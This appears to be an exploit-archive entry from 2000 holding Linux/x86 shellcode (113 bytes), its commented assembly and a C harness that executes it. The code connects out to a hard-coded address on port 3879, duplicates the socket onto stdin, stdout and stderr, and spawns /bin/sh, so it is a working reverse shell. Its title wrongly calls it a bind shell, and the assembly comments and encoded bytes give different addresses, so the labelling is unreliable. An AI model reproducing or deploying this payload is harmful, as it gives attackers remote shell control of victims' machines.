Linux/x86 - Bind TCP (3879/TCP) Shell (/bin/sh) Shellcode (113 bytes)

/*
Connecting shellcode written by lamagra <[email protected]>
http://lamagra.seKure.de
 
May 2000
 
.file   "connect"
.version    "01.01"
.text
    .align 4
_start:
    #socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
    movl %esp,%ebp
    xorl %edx,%edx
    movb $102,%edx
    movl %edx,%eax      # 102 = socketcall
    xorl %ecx,%ecx
    movl %ecx,%ebx
    incl %ebx           # socket()
    movl %ebx, -8(%ebp) # 1 = SOCK_STREAM
    incl %ebx
    movl %ebx, -12(%ebp)    # 2 = AF_INET
    decl %ebx           # 1 = SYS_socket
    movl %ecx, -4(%ebp) # 0 = IPPROTO_IP 
    leal -12(%ebp),%ecx # put args in correct place
    int  $0x80          # switch to kernel-mode
    xorl %ecx,%ecx
    movl %eax,-12(%ebp) # save the fd
 
    # connect(fd,(struct sockaddr *)&struct,16);
    incl %ebx
    movw %ebx,-20(%ebp) # 2 = PF_INET
    movw $9999,-18(%ebp)    # 9999 = htons(3879);
    movl $0x100007f,-16(%ebp) # htonl(IP) 
    leal -20(%ebp),%eax # struct sockaddr
    movl %eax,-8(%ebp)  # load the struct
    movb $16,-4(%ebp)       # 16 = sizeof(sockaddr)
    movl %edx,%eax      # 102 = socketcall
    incl %ebx           # 3 = SYS_connect
    leal -12(%ebp),%ecx # put args in place
    int  $0x80          # call socketcall()
 
    # dup2(fd,0-1-2)
    xorl %ecx,%ecx
    movb $63,%eax       # 63 = dup2()
    int  $0x80
        incl %ecx
        cmpl $3,%ecx
        jne  -0xa
 
    # arg[0] = "/bin/sh"
    # arg[1] = 0x0
    # execve(arg[0],arg);
    jmp  0x18
    popl %esi
    movl %esi,0x8(%ebp)
    xorl %eax,%eax
    movb %eax,0x7(%esi)
    movl %eax,0xc(%ebp)
    movb $0xb,%al
    movl %esi,%ebx
    leal 0x8(%ebp),%ecx 
    leal 0xc(%ebp),%edx 
    int  $0x80  
    call -0x1d
    .string "/bin/sh"
*/
 
#define NAME "connecting"
 
char code[]=
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\xc7\x45\xf0"
"\x7f\x01\x01\x01\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0"
"\x43\x8d\x4d\xf4\xcd\x80\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03"
"\x75\xf6\xeb\x18\x5e\x89\x75\x08\x31\xc0\x88\x46\x07\x89\x45\x0c"
"\xb0\x0b\x89\xf3\x8d\x4d\x08\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff"
"\xff/bin/sh";
 
 
main()
{
  int (*funct)();
  funct = (int (*)()) code;
  printf("%s shellcode\n\tSize = %d\n",NAME,strlen(code));
  (int)(*funct)();
}